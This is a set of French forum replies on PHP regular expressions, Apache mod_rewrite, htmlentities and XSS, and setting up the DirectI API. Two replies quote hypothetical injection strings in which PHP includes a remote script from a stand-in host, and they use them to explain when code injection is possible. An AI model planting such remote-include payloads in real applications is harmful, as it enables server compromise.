TheRec

Il y a <pre> et tout élément (bloc) auquel tu aurais appliqué la propriété CSS suivante : white-space: pre;

Bonjour, c'est justement ce genre d'expression qui requièrent l'utilisation des expressions rationnelles PCRE (compatibles Perl). Ce problème de balises a été traité, par mes soins, dans ce sujet éplinglé. Par défaut, le moteur d'expression régulière est en mode "gourmand", il regarde au plus large...avec l'option PCRE_UNGREEDY tu modifies ce comportement... une expression du type : $afficheSite = preg_replace("/<textarea>(.*)<\/textarea>/smiU", "ta chaine de remplacement", $afficheSite); En règle générale, utilise les expressions rationnelles PCRE (preg_*) à la place des expressions rationnelles POSIX (ereg_*). Elles sont plus performantes dans la majorité des cas. Tu as la liste des options et de la syntaxe dans le manuel PHP. Bonne continuation dans tes expressions rationnelles

Au poteau oui Il y a un peu moins d'un mois

Bonjour, Cela fait partie des liens que j'ai donnés précédemment... spécifiquement ici :

C'est juste, j'ai mal compris la dernière partie du problème, j'ai supposé qu'il souhaiter faire pointer l'URL sans paramètre vers celle avec paramètres...alors qu'il ne voulait plus utiliser cette dernière Le seul problème c'est que le RewriteRule ne prends pas en compte la querystring (ce qui vient après le ?). Donc il faut passer par un RewriteCond : RewriteEngine On RewriteCond %{QUERY_STRING} ^page=(.+)$ RewriteRule ^index.php$ %1.php? [L] %1 est la backreference de trouvée par RewriteCond. Le point d'interrogation après %1.php sert à ce que la querystring originale ne soit pas appondue. Si tu as besoin de prendre en compte les URL ou index.php est omis, tu peux utiliser la règle suivante : RewriteRule (^index.php$|^$) %1.php? [L] Après le RewriteCond évidemment. Si tu veux que ce soit une redirection qui soit effectuée, il te suffit de préciser l'URL complète ou doit être redirigé l'utilisateur : RewriteRule (^index.php$|^$) http://ndd.com/%1.php? [L] Apparemment le flag [R=301] ne fonctionne pas en conjonction avec RewriteCond...mais ce problème n'est pas document, il est peut-être dû à mon environnement de test... P.S.: C'est pas que je veuille jouer le professeur de français, mais "redirectionner" n'est pas un mot français... je suppose que tu voulais dire "rediriger"

Tu souhaites passer de index.php?page=nom_page à nom_page.php donc la règle dans l'ordre que je te l'ai donnée est juste, il ne faut pas l'inverser comme tu l'as fait. La première partie de la RewriteRule est une expression régulière (de type POSIX), c'est à dire un masque (composé en général de sous-masque) qui correspond à ce que l'utilisateur demandé comme URL relative (dans ton cas nom_page.php). La deuxième partie correspond à l'URL relative (si tu mets une URL absolue, avec http://, ce n'est plus une réécriture, mais une redirection) qu'utilise Apache en interne pour présenter le contenu désiré (pour toi index.php?page=nom_page). La dernière partie est l'ensemble de flags qui correspondent à la règle, les plus utiles sont cités dans l'article qu'on t'a recommandé précédemment. Bien, il faut ensuite savoir que la réécriture ne se fait pas "tout seule", tu dois modifier tes liens dans tes fichiers (x)HTML de manière à ce qu'ils correspondent à ton nouveau schéma d'URL (c'est à dire nom_page.php).

Bonsoir, le sous-masque ([a-z]+) n'autorise que les lettres de a à z en minuscules ... est-ce que lorsque tu testes ta réécriture, tu n'utilises que ces caractères dans le nom de ta page ? Si tu veux élargir la portée de ce sous-masque tu peux éventuellement le replacer par ceci : RewriteEngine on RewriteRule ^(.+)\.php$ index.php?page=$1 [L] Le "point" signifie n'importe quel caractère. La deuxième partie peut nécessiter un "/" avant index.php cela dépend de la configuration de ton serveur. Tu peux également utiliser le flags par [R=301], ainsi tu verras (dans la barre d'adresses, car en fait mod_rewrite effectuera une redirection) vers quelle URL, Apache se tourne pour faire la réécriture. Pour les expressions que tu proposes, elles sont "erronées" dans le sens où tu ne souhaites pas réécrire une URL du type index.php?page=ma_page en ma_page.php, mais l'inverse...

Bonjour, selon les règles du forum, les demandes d'avis sur un site sont interdites. Je ferme donc ce sujet (un peu tardivement j'admets), merci de relire les règles du forum. Merci de ta compréhension.

En fait, l'exemple que tu cites (sans compter le fautes de syntaxes et les caractères non échappés) fera envoyer au navigateur la chaîne de caractères <?php include(&quot;http://Aie.Aie.Aie/PasCool.php") ?> ... le navigateur une fois qu'il interprète la page tombe devant "<?php", pour lui cela annonce un langage côté client à interpréter (un autre exemple serait le "<?xml") et donc n'affiche pas ce texte à l'écran. Si tu regarde la source tu verras que ton code y est tel quel, il n'a pas été interprété du tout (et encore heureux...). Dans ce cas cela ne représente pas de risque pour ton visiteur, mais si en revanche tu as un bout de Javascript à la place de cette variable $Chaine, il sera interprété par le navigateur...à moins d'utiliser htmlspecialchars ou htmlentites (le premier s'occupe que de certains caractères "à risque", l'autre les convertit tous). Il n'y a pas besoin d'une fonction "phpentities" parce que PHP n'interprète pas les chaînes de caractères à moins qu'on utilise la fonction eval comme je te l'ai dit... Peut-être que ta confusion vient du fait qu'il est possible de faire ce : $firstname = "Pierre"; echo "Bonjour $firstname"; Ceci affichera : Bonjour Hervé Mais il est facile de trouver un contre exemple pour te démontrer qu'il n'y a pas d'interprétation. $firstname = "Hervé"; echo "Bonjour htmlentities($firstname)"; Ceci affichera : Bonjour htmlentities(Hervé) Donc ce n'est pas de l'interprétation par PHP, vu que la fonction n'est pas évaluée, c'est simplement un remplacement de variables par leur valeur

En fait tu te poses une question logique dans un certain sens, htmlentities permet, lorsque tu envoie une chaîne de caractères au navigateur de t'assurer que les données envoyée seront interprétées comme du texte simple (car les caractères spéciaux ont été converti en leur entités respectives) et non comme du code HTML. Cela permet de prévenir des injections de code (généralement Javascript) côté client. Côté serveur, elle ne te protège de rien, ce n'est pas son travail, l'interpréteur PHP ne sais pas ce qu'est- l'HTML. Aucun code PHP (instructions, structures, variables, ... quoi que ce soit) n'est interprété lorsqu'il est contenu dans une chaîne de caractères (ce qu'est le contenu de toutes valeur du tableau $_POST en l'occurrence, lorsqu'il vient d'être reçu) ... à moins que tu passes cette chaîne de caractères dans la fonction eval... Pour reprendre ton exemple, ce que tu souhaites faire est de vérifier la contenu de $_POST['pseudo']. Et tu imagines qu'une personne malveillante utilise la chaîne "$PagePrecOK)){include(&quot;http://je.te.laisse/imaginer.php");} if((1==1" comme valeur pour $_POST['pseudo'] ... pour PHP cette chaîne n'est rien d'autre qu'une chaîne de caractères, il n'interprète pas son contenu... et si tu teste cette variable avec isset, cette fonction te répondrait simplement true parce que cette variable sera initialisé (c'est tout ce qu'elle vérifie). L'injection de code PHP n'est possible que lorsque tu utilises des fonctions comme eval, autrement tu n'a pas vraiment à t'en soucier. Comme l'a dit "kot", $_SERVER['HTTP_REFERER'] n'est pas un renseignement fiable pour effectuer des vérifications d'authentification... il peut servir tout au plus aux outils de statistiques, et encore rien ne permet d'affirmer que son contenu est authentique. Tu as meilleur temps dutiliser des sessions, et enregistrer dans une variable de sessions (et pas les cookies) le dernier endroit où était le visiteur si c'est une information primordiale...et dans ce cas tu dois t'inquiéter des problèmes (implémentation et sécurité) liés aux sessions.

Bonjour, C'est "possible", mais ce n'est probablement pas le comportement que tu veux. Lorsque la deuxième partie de la RewritRule est une URL et non un chemin relatif, le moteur de réécriture procède à une redirection (301 par défaut) vers cette URL. Je dis que tu ne souhaites sûrement pas cela, parce que en redirigeant tes utilisateur vers &quot;http://127.0.0.1/" tu les rediriges vers leur propre interface réseau. 127.0.0.1 ou localhost sont ce qu'on appelle des adresses de loopback (boucle interne) qui pointent sur linterfce réseau qui y fait appelle et donc avec cette règle tu suppose que l'utilisateur a un serveur HTTP (avec le http:// qui fonctionne sur sa propre machine...ce qui n'est certainement pas le cas. Deuxième point, tu parles de rediriger &quot;http://www.truc.fr/" sur une autre adresse, cela implique d'avoir le contrôle du serveur qui réponde à l'adresse "www.truc.fr"... Si c'est le cas tu peux utiliser un RedirectMatch : RedirectMatch ^/$ http://<le_domaine_que_tu_souhaites>/index.php?domain=valeur_fixe Et il faudra faire de même pour chaque domaine... tu ne peux pas gérer des noms de domaines à distance (depuis un autre serveur) par un fichier .htaccess ... si c'était possible je te laisse imaginer le désodre qui règnerait sur Internet... Tu peux en revanche faire pointer tes domaines vers le même serveur (gérer cela avec des entrées DNS) et sur ce serveur t'occuper de cette tâche avec des hôtes virtuels dans la configuration Apache de ce serveur : <VirtualHost *:80> ServerAlias www.truc.fr DocumentRoot /chemin/vers/la/racine/pour/ce/domaine/ </VirtualHost> <VirtualHost *:80> ServerAlias www.truc2.fr DocumentRoot /chemin/vers/la/racine/pour/ce/deuxieme/domaine/ </VirtualHost> Mais peut-être que j'ai mal compris ce que tu voulais... il me semble que tu sautes un peu du phoque à l'âne dans tes explications

Tu transfères le toute une fois configuré (dossiers "examples" et "lib") ... ensuite tu accède aux exemples en entrant l'URL menant vers le chemin "examples/html/index.html" (bref -http://www.tondomaine.com/test/examples/html/index.html par exemple) ... sur cette page tu as l'ensemble des méthodes de l'API et des exemples pour chacune d'elles...Attention, malheureusement ces exemples ne fonctionnent que sous Internet Explorer (c'est le système de présentation des exemples qui pose problème...non pas les méthode de l'API, elle peuvent tout à fait fonctionner sous Firefox, vu que de toute façon l'interprétation des données se fait en PHP). Pour récupérer le code d'un exemple qui t'intéresse, regarde dans le répertoire "examples", ce sont les fichiers PHP, ils portent le nom des méthodes...

Dans l'archive de l'API nommée "PHP_CoreKIT", il y a un répertoire nommé "lib", à l'intérieur se trouve un fichier nommé "config.php". <?php // HTTP DEMO SERVICE URL $SERVICE_URL = "http://api.onlyfordemo.net/anacreon/servlet/APIv3"; // HTTP LIVE SERVICE URL // $SERVICE_URL = "http://www.myorderbox.com/anacreon/servlet/APIv3"; // HTTPS LIVE SERVICE URL // $SERVICE_URL = "https://www.foundationapi.com/anacreon/servlet/APIv3"; $DEBUG = true; // To on/off Debuging. ?> C'est dans ce fichier que tu mets, dans un premier temps les informations pour te connecter au serveur Demo de DirectI (tu dois t'inscrire pour utiliser leur serveur Demo)... ensuite lorsque ton application sera en production tu pourras utiliser le serveur de production. Tu as également le fichier "constants.php" dans le répertoire "examples" : $SERVICE_USERNAME ="demo.registrar_AT_myorderbox.com";// User Name. $SERVICE_PASSWORD ="7u1y857";// Password $SERVICE_ROLE ="reseller"; // Role, always leave this as reseller $SERVICE_LANGPREF ="en";// Language Preference ISO Code, 'en' for English $SERVICE_PARENTID ="999999999";// Parent id. $LIB_DIR ="../lib/"; // Absolute or relative Path to your Lib folder Ces informations te sont communiquées lorsque tu t'inscrit...donc je suppose que tu ne l'as pas fait et que tu n'a pas non plus lu cette marche à suivre (elle se lit avant celle de l'intégration de l'API PHP... elle décrit les étapes qu'il faut faire avant de commencer à coder). Bonne chance !

Pose ta question clairement ici, en public, tu auras plus de chance d'avoir une réponse...c'est le seul but de mon message, t'indiquer qu'une question aussi globale n'a pas de sens et personne ne te répondra avec un code complet pour utiliser l'API. Tu es confronté à un problème qui représente un développement conséquent, tu ne peux pas t'attendre à recevoir une réponse à ce problème général (ne pas savoir utiliser l'API)... Tu mas indiqué dans ton message privé, que l'utilisateur ne pourrait pas remplir les formulaires en entier car ils ne sauraient pas ce que représentent ces valeurs (lors de l'enregistrement d'un domaine: serveurs de nom, ...), j'en conclu que sils ne le savent pas et quils ne passent pas toi pour effectuer cette réservation, c'est que toi tu sais, donc utilise des champs cachés dans ton formulaire avec les valeurs appropriées... Attention, si tu ne veux pas que ces données soient modifiées par l'utilisateur tu devrais les vérifier avant de les envoyer aux serveurs de DirectI, bien entendu.

Il y a une différence entre des conseils et une demande globale sur "comment implémenter tel API" ... Si tu as des difficultés précises, pose une question précise. Si tu cherches une solution complète, il paraît évident que cela ne se fera pas en un message... Il suffit de lire la documentation citée précédemment pour voir que ce n'est pas simple, j'ai juste dit ce c'était clairement expliqué (de mon point de vue)... Je serais ravi de t'aider (si je le peux) et gratuitement bien entendu, mais ta question est trop "vague" pour pouvoir formuler une réponse sans décrire toutes les possibilités de l'API (en plus elle est morcelée en plusieurs API, pour chaque service que DirectI propose).

Bonsoir, je suppose que tu as déjà étudié la documentation de l'API PHP fournie par Directi ? :S Elle me semble assez claire, surtout si comme tu le dis, tu touche du PHP souvent. Si c'est d'un(e) professionnel(le) pour faire l'intégration de ce système tu n'est pas dans le bonne rubrique, et il ne faudra pas espérer obtenir cela sans payer, bien évidemment.

Cela ne me dit toujours pas ce que tu obtiens lorsque tu utilises le flag [R=301] :S S'il effectue une réécriture tu devrais voir l'adresse changer (redirection)... sinon c'est qu'aucune règle ne correspond à l'URL entrée... Ce que je peux te garantir c'est que ces expression régulières sont correctes, donc le problème se situe au niveau du serveur. Je les ai testé sous Windows (environement de test) et Linux (environement de test et production). Tu dis avoir d'autres règles de réécriture en fonction, es-tu sûr qu'aucune d'elles ne réécrit ton URL avant celle dont nous discutons ?

Les exemples que tu cites, correspondent-ils aux l'URL vers lesquelles tu es redirigé (grâce au Flage R=301) lorsque tu utilises respectivement les URL getperson-7184I-tree-1.html getperson-7188I-tree-1.html getperson-1105I-tree-1.html dans ton navigateur ? Si c'est le cas c'est que ta réécriture fonctionne bien.

La documentation de PHP sur la syntaxe ainsi que sur les options des expressions rationnelles PCRE est exhaustive ... c'est beaucoup de lecture, j'admet, mais c'est utile

Utilise le flag [R=301] avec ta règle, histoire de voir si la réécriture est effectuée correctement... cela fera une redirection et tu verras l'URL utilisée en interne par Apache. Sinon j'avais un problème similaire avec un hébergeur, j'ai fini par devoir échapper les esperluettes (&) entre les paramètres de l'URL... Cela donne quelque chose comme : RewriteRule ^getperson-([0-9a-zA-Z]{5})-tree-([0-9]+)\.html$ getperson.php?personID=$1\&tree=$2 [R=301,L] Il faut également ne pas oublier de transférer en mode ASCII le fichier .htaccess lorsque cest fait par FTP, cest essentiel.

Es-tu sûr que le mode Rewrite est en fonction sur ton hébergement ? Quel message d'erreur (401,500) obtiens-tu lorsque tu essaies d'accéder à une page avec une URL réécrite ? J'ai testé les propositions que je t'ai faites avant de les poster, elles fonctionnent sans problème (sous Linux comme sous Windows). Et effectivement l'expression {x} définit le nombre de caractères de la classe qui la précède. Tu peux également donner une intervalle {4,10} ou même une intervalle non-finie {4,} (cela signifie : 4 caractères au moins ou plus) Il n'y a pas de quoi s'énerver, on va sûrement trouver une solution

Bonjour, ceci devrait faire l'affaire : RewriteRule ^getperson-([0-9a-zA-Z]{5})-tree-([0-9]+)\.html$ getperson.php?personID=$1&tree=$2 [L] Le flag NC signifie que l'expression n'est plus sensible à la casse (majuscules/minuscules) et que les lettres seront converties en minsucules. Dans l'expression précédente personID peut contenir une lettre ou plusieurs à n'importe quel place... Si par exemple ton personID est composé de 4 chiffre suivis d'une lettre tu peux définir une nouvelle classe, ainsi : RewriteRule ^getperson-([0-9]{4}[a-zA-Z]{1})-tree-([0-9]+)\.html$ getperson.php?personID=$1&tree=$2 [L]

Bonsoir, tu as raison, c'est même plus facile ainsi... l'expression régulière reste la même. Je n'avais pas compris que ton fichier pouvait contenir des retours de ligne supplémentaires. Voici le code modifié et ainsi raccourci : <?php // Récupération du fichier entier dans une chaîne de caractères $content = file_get_contents('uptime.log'); // Récupération de toutes les occurrences de 0 ou 1 en deuxième colonne. preg_match_all('/^[^,]+,(0|1),/im',$content,$matches); // La somme des cellules des occurrences trouvés te donne le nombre de 1 trouvés (propriété mathématique entre 1 et 0) $onecount = array_sum($matches[1]); // Si on soustrait ce nombre au nombre d'occurrences on obtient le nombre de 0 (même propriété mathématique) $zerocount = count($matches[1]) - $onecount; ?> On utilise le nombre d'occurrences...ce qui est beaucoup plus logique en fait, merci d'avoir trouvé ce bug

Bonjour, il est normal que le code qui a été proposé précédemment compte également les zéros et uns des colonnes suivante, car la chaîne recherché est ",[0 ou 1]," et ce "masque" se retrouve dans les autres colonnes de ton fichier... Il faut utiliser les expressions rationnelles pour avoir des masques plus efficaces, qui prennent compte du début et fin de ligne, etc. Voici ce que je te propose : <?php // Récupération du fichier entier dans un tableau $lines = file('uptime.log'); // Obtention du nombre de ligne, pour effectuer le calcul après $linecount = count($lines); // Concaténation de toutes les cellules du tableau, les retours de ligne sont conservé, la fonction "file" ne les enlève pas $content = implode("",$lines); // Récupération de toutes les occurrences de 0 ou 1 en deuxième colonne. preg_match_all('/^[^,]+,(0|1),/im',$content,$matches); // La somme des cellules des occurrences trouvés te donne le nombre de 1 trouvés (propriété mathématique entre 1 et 0) $onecount = array_sum($matches[1]); // Si on soustrait ce nombre au nombre de ligne on obtient le nombre de 0 (même propriété mathématique) $zerocount = $linecount - $onecount; ?> Tout d'abord il faut se pencher sur l'option "m" utilisée dans l'expression rationnelle, elle permet traiter le chaîne comme plusieurs lignes (qui ont chacune un début et une fin), c'est ce qui permet de définir par la suite un point de repère pour chaque ligne afin d'identifier ta deuxième colonne. L'expression rationnelle est composée comme suit, la première partie défini que l'occurrence devra commencer (par ligne) par tout caractère n'étant pas une virgule, cela implique qu'il doit y avoir d'abord une valeur. Ensuite il y a la première virgule, puis un sous-masque avec deux valeurs alternatives (0 ou 1), puis une virgule. Si tu devais par exemple compter les 0 et 1 de la troisième colonne tu pourrais procéder ainsi : preg_match_all('/^[^,]+,[01],(0|1)/im',$content,$matches);

Bonsoir, J'ai l'effet inverse...je suis passé de 3000 pages à 15000 récemment (ce qui est plsu proche de la réalité)...Googlebot n'est pas plus vorace que d'habitude pourant, donc cela doit être lié à ce "bug" ou alors un réveil dû à BigDaddy... et la majorité de mes pages ont une URL avec un ou des tirets, mais le nom de domaine lui en est exempt (en fait c'est une sous-domaine).